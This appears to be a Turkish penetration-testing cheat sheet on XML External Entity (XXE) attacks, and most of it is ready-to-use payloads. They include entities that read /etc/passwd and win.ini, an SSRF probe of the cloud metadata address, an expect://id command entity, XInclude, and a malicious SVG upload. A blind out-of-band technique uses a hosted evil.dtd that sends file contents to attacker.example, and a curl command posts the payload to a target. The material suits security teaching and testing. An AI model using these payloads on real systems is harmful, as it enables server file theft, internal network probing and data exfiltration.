Skip to content

XML External Entity (XXE)

OWASP A05 · Misconfiguration difficulty: orta

XXE, XML ayrıştırıcısının dış varlık (external entity) tanımlarını işlemeye açık olması durumunda ortaya çıkar. Saldırgan XML’e varlık tanımı enjekte ederek sunucudaki dosyaları okuyabilir, iç servislere istek attırabilir (SSRF) veya kör senaryolarda veriyi dışarı sızdırabilir.

XXE · file read probe

embedded tool
Generated command
curl -s https://hedef/upload -H Content-Type:application/xml --data-binary @xxe.xml # ENTITY SYSTEM file:///etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Uygulama &xxe; değerini yanıtta yansıtırsa dosya içeriği görünür.

Windows:

<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">

PHP expect (nadir):

<!ENTITY xxe SYSTEM "expect://id">
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

İç admin paneli, Redis HTTP arayüzü veya staging host’ları da hedeflenir. Port tarama: farklı portlara entity URL’leri ve zaman/hata farkı.

Uygulama kullanıcı girdisini XML’e gömüyorsa (entity DOCTYPE engelli olsa bile) XInclude denenebilir:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Yanıtta yansıma yoksa, harici bir DTD ile veriyi geri çağırma adresine gönder:

  1. Saldırgan sunucusunda DTD barındır (evil.dtd):

    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/?x=%file;'>">
    %eval;
    %exfil;
  2. Hedefe parametreli varlıkla tetikle :

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
    %xxe;
    ]>
    <data>test</data>
  3. Geri çağırmayı yakala — ?x=<hostname> isteğini kendi sunucunda gör.

  4. Error-based kör XXE — dosya içeriğini hata mesajına taşıyan DTD (parser’a bağlı); PortSwigger lab’larındaki error-based kalıplar.

Dosya içeriğinde özel karakter varsa (newline, &) URL kırılabilir — base64 wrapper (Java / .NET bazı parser’larda) veya satır satır okuma gerekir.

Birçok API JSON bekler ama XML de kabul eder:

POST /api/user HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

application/x-www-form-urlencoded gövdesinde XML string taşıyan parametreler de hedeflenir.

  • SOAP / SAML assertion / WS-* uçları
  • RSS/Atom, SVG upload, XML config import
  • DOCX/XLSX/PPTX (ZIP içi [Content_Types].xml , ilişkiler)
  • Content-Type: application/xml veya text/xml
  • Eski Java ( DocumentBuilder ), .NET XmlDocument (DTD varsayılanları), PHP simplexml_load_* / libxml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Entity expansion (XML bomb) ile DoS mümkün olsa da pentest kapsamı ve etik sınırlar için dikkatli kullanılmalı; amaç genelde veri sızdırma / SSRF’dir.